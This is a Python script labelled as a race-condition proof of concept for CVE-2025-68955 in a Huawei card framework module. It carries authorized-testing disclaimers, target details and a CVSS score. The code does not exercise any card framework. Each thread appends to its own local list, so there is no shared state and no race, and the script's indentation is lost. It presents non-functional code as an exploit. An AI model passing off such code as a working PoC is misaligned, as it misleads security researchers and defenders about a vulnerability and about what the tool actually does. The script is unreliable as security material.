The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-68955 - Race Condition PoC
Huawei Card Framework Module Race Condition Vulnerability
Note: This is a conceptual PoC for educational purposes only.
Actual exploitation requires device-specific access and testing.
"""
import threading
import time
import os
def trigger_race_condition(thread_id):
"""
Attempts to trigger race condition in card framework module.
This simulates concurrent access patterns that may exploit the vulnerability.
"""
print(f"[Thread-{thread_id}] Initiating concurrent access to card framework...")
# Simulate card framework operations
# In real scenario, this would involve actual card framework API calls
shared_resource = []
# Multiple threads accessing shared resource without synchronization
for i in range(100):
# Race condition window: read-modify-write without lock
current_state = shared_resource.copy()
time.sleep(0.0001) # Simulate processing delay
current_state.append(f"thread_{thread_id}_op_{i}")
shared_resource = current_state
print(f"[Thread-{thread_id}] Completed {len(shared_resource)} operations")
def main():
"""
Main PoC execution function.
Creates multiple threads to trigger race condition.
"""
print("=" * 60)
print("CVE-2025-68955 PoC - Race Condition in Card Framework")
print("=" * 60)
print("Target: Huawei devices with vulnerable card framework module")
print("CVSS: 8.0 (High)")
print("Attack Vector: Local (AV:L)")
print("=" * 60)
# Check if running on Huawei device (simplified check)
if "huawei" not in os.popen("cat /sys/class/dmi/id/sys_vendor 2>/dev/null || echo unknown").read().lower():
print("[!] Warning: Not running on Huawei device - PoC may not be effective")
threads = []
num_threads = 10
print(f"\n[*] Starting {num_threads} concurrent threads...")
start_time = time.time()
# Create and start threads to trigger race condition
for i in range(num_threads):
t = threading.Thread(target=trigger_race_condition, args=(i,))
threads.append(t)
t.start()
# Wait for all threads to complete
for t in threads:
t.join()
elapsed = time.time() - start_time
print(f"\n[*] All threads completed in {elapsed:.2f} seconds")
print("[*] Check system logs for any card framework errors or crashes")
print("\n[!] Disclaimer: This PoC is for authorized security testing only")
if __name__ == "__main__":
main()